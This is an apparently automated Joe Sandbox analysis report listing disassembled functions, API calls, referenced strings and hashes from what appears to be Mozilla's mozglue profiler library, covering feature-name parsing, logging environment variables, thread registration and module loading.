Instruction Fuzzy Hash: 16A1AF71F0021A9FDB08CE68C8913AEB7F2AFC9354F588129D916E7781DB349D168B90

Function 6C697710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 351120e2737157688eeb678ff5367d367066799f34b190f59fbea874aff8ee7b
Instruction ID: 079eca84145a93ddf9a999312de41e95189b487121d3b2ef349809f951b8e3dd
Opcode Fuzzy Hash: 351120e2737157688eeb678ff5367d367066799f34b190f59fbea874aff8ee7b
Instruction Fuzzy Hash: 97714C75E0121A8FCF18CFA9D8906EDBBB2FF89314F24816ED416AB740D731A945CB94

Function 6C69CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

stackwalk, xrefs: 6C69CCF8
nativeallocations, xrefs: 6C69CDA8
default, xrefs: 6C69CC21
nostacksampling, xrefs: 6C69CD7C
fileio, xrefs: 6C69CC92
processcpu, xrefs: 6C69CE6E
markersallthreads, xrefs: 6C69CE42
noiostacks, xrefs: 6C69CCBE
notimerresolutionchange, xrefs: 6C69CE00
cpuallthreads, xrefs: 6C69CE16
fileioall, xrefs: 6C69CCA8
mainthreadio, xrefs: 6C69CC7C
screenshots, xrefs: 6C69CCD4
samplingallthreads, xrefs: 6C69CE2C
preferencereads, xrefs: 6C69CD92
unregisteredthreads, xrefs: 6C69CE58
power, xrefs: 6C69CE84
java, xrefs: 6C69CC37
jsallocations, xrefs: 6C69CD0E
leaf, xrefs: 6C69CC66
audiocallbacktracing, xrefs: 6C69CDD4
Unrecognized feature "%s"., xrefs: 6C69CEA0
ipcmessages, xrefs: 6C69CDBE
seqstyle, xrefs: 6C69CCE6

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C6647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C664801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C664817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C66482D
__Init_thread_footer.LIBCMT ref: 6C66484A

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

GetCurrentThreadId.KERNEL32 ref: 6C66485F
GetCurrentThreadId.KERNEL32 ref: 6C66487E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66488B
free.MOZGLUE(?), ref: 6C66493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C664956
free.MOZGLUE(00000000), ref: 6C664960
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66499A

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

free.MOZGLUE(?), ref: 6C6649C6
free.MOZGLUE(?), ref: 6C6649E9

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C664828
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6647FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C664A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C664812
[I %d/%d] profiler_shutdown, xrefs: 6C664A06

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 21d231439b3aeb972dff8dc6797452225e9d0fe7018f2695c1c12f90be17e923
Instruction ID: 293c3bd29150b65420c401d9490c4a137bcc40bf04f2f5a2f0f5404c09a1b792
Opcode Fuzzy Hash: 21d231439b3aeb972dff8dc6797452225e9d0fe7018f2695c1c12f90be17e923
Instruction Fuzzy Hash: D3810470A001009BDB14DF2BC8A476A3775AF82329F140629D916D7F46D7B1F845CB9F

Function 6C664470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

Gml, xrefs: 6C6644FC
WRusr.dll, xrefs: 6C6644B5
user32.dll, xrefs: 6C664557, 6C66463F
kernel32.dll, xrefs: 6C6644CD
l, xrefs: 6C664578
NativeNtBlockSet_Write, xrefs: 6C6646F7

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gml$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-884719140
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 6C69F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C69F8F9

Part of subcall function 6C666390: GetCurrentThreadId.KERNEL32 ref: 6C6663D0
Part of subcall function 6C666390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6663DF
Part of subcall function 6C666390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C66640E

ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F93A
GetCurrentThreadId.KERNEL32 ref: 6C69F98A
GetCurrentThreadId.KERNEL32 ref: 6C69F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F716

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C65B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C65B5E0

GetCurrentThreadId.KERNEL32 ref: 6C69F739
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F746
GetCurrentThreadId.KERNEL32 ref: 6C69F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6D385B,00000002,?,?,?,?,?), ref: 6C69F829
free.MOZGLUE(?,?,00000000,?), ref: 6C69F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C69F866
free.MOZGLUE(?), ref: 6C69FA0C

Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C
Part of subcall function 6C665E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EAB
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EB8
Part of subcall function 6C665E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F53
Part of subcall function 6C665E60: GetCurrentThread.KERNEL32 ref: 6C665F5C
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F66
Part of subcall function 6C665E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E

free.MOZGLUE(?), ref: 6C69F9C5
free.MOZGLUE(?), ref: 6C69F9DA

Strings

Thread , xrefs: 6C69F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C69F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C69F71F
" attempted to re-register as ", xrefs: 6C69F858

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction ID: ac30982e706685506d0b69bd6c31d6219e903b9dfed3c3e8203c429b5339d853
Opcode Fuzzy Hash: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction Fuzzy Hash: 908106716042019FDB10DF25C880AAEB7B5EFC6308F55456DE8499BB51EB30E849CBAF

Function 6C69EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EE60
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE6D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69EEA5
CloseHandle.KERNEL32(?), ref: 6C69EEB4
free.MOZGLUE(00000000), ref: 6C69EEBB
GetCurrentThreadId.KERNEL32 ref: 6C69EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EECF

Part of subcall function 6C69DE60: GetCurrentThreadId.KERNEL32 ref: 6C69DE73
Part of subcall function 6C69DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B
Part of subcall function 6C69DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
Part of subcall function 6C69DE60: free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
Part of subcall function 6C69DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C69EF1E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF2B
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF59
GetCurrentThreadId.KERNEL32 ref: 6C69EFB0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFBD
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFE1
GetCurrentThreadId.KERNEL32 ref: 6C69EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F000

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F02F

Part of subcall function 6C69F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C69F008
[I %d/%d] profiler_stop, xrefs: 6C69EED7

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction ID: 54bae6752647e8a262a5c2443303edca6c75c1bed4f4c2427930dd117207f867
Opcode Fuzzy Hash: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction Fuzzy Hash: EC5126316002129FDB005F66D8887A97BB4FF8B36DF14456AE91683B42DB747805CBAF

Function 6C667FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C668007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C66801D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C66802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C66803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C66808D

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C66809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C6680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C668133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C668149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C668167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C66817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C668199

Strings

0>il, xrefs: 6C66811E

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>il
API String ID: 2721933968-262214330
Opcode ID: 6daa6ad6a1aa670d2460bd2e6b046e11d15abd9a6f15b4c48b4a63c30e3842e9
Instruction ID: 83c4bbc69237aee19b48065aac150f773266d4b0cc0585ffd672a350faed6229
Opcode Fuzzy Hash: 6daa6ad6a1aa670d2460bd2e6b046e11d15abd9a6f15b4c48b4a63c30e3842e9
Instruction Fuzzy Hash: 925192B1E002056BDB00DFAADC809EFB7B9EF4A324F140525E815E7751E730AD05CBAA

Function 6C665E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

GetCurrentThreadId.KERNEL32 ref: 6C665EAB
GetCurrentThreadId.KERNEL32 ref: 6C665EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C666017

Part of subcall function 6C654310: moz_xmalloc.MOZGLUE(00000010,?,6C6542D2), ref: 6C65436A
